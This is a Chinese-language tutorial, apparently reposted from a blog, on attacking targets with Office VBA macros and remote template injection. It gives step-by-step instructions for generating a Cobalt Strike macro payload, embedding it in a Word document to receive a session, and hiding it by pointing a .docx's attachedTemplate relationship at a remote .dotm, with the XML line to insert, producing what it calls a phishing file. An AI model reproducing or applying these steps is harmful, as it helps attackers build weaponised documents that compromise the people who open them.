Office的VBA宏攻擊(還有遠程模板注入)


 
 
原理就是利用VBA宏代碼創建進程、申請虛擬內存、拷貝內存將shellcode加載進內存來獲取權限,VBA原本是微軟為了office使用者們能根據自身的情況來編寫代碼省去不必要的麻煩,攻擊者卻可以拿來進行攻擊.
 
其實ppt、word的手法都大同小異,會一種其他的就差不多了
 
 

環境相關

 
win7 word2016(啟用宏) cobalt strike的宏代碼
 
環境搭建
 

 
選項->信任中心->信任中心設置->宏設置->啟用所有宏

 
選項->自定義功能區-->打開開發工具
 

啟用宏的word文檔

 
使用cobalt strike生成VBA宏代碼,之后將宏代碼粘貼到word、ppt等,這里面以Word展示一下
 
Attacks->Packages->MS Office Macro
 

 
 
打開office生成一個文檔,之后將其保存為啟用宏的文檔
 

 
之后在視圖->宏中添加宏(隨意起個名字,之后點擊創建)
 

 
將宏代碼填入這個位置
 

 
之后點擊一下文檔就能收到會話了
 
這種方法很容易被檢測到,下面介紹另一種技術遠程模板加載
 

遠程模板注入技術

 
word文件一般與三個后綴名有關,docx、docm、dotm
 
docm就是啟用宏的word文檔,不需要其他的東西就可以自己啟動宏,上文就是這種類型
 
docx是普通的word文件,自身沒有任何宏代碼,但是可以遠程加載宏模板
 
dotm就是上文的宏的模板,下面演示一下,如何使用
 
首先創建一個dotm文件
 

 
之后打開->創建宏->填入宏代碼(與上文制作的類似)
 
在創建一個docx文件
 

 
后綴名修改為zip,然后解壓
 

 
修改./word/_rels/settings.xml.rels文件,如果沒有請創建
 
寫入以下內容
 

<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="這里放payload"/></Relationships>

 
在Target出填寫模板地址
 

如果想加載本機的模板,使用file協議本地加載`file:///c:\test\Docx1.dotm`
遠程加載的話使用,直接https://xxxxxx/Docx1.dotm(GitHub上的話使用https://github.com/xxxx/GItLearn/blob/master/Doc1.dotm?raw=true)

 
然后在將源文件解壓為zip,在修改為docx,這樣一份釣魚文件就完成了(若是對方開啟了宏功能的話點擊就會上線)

 
相比於其他,遠程模板技術更隱蔽,因為docx是不自帶宏代碼的
 

參考資料

https://payloads.online/archivers/2019-05-16/1#0x04-%E6%95%88%E6%9E%9C

https://xz.aliyun.com/t/2496

https://blog.csdn.net/god_zzZ/article/details/102745794


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM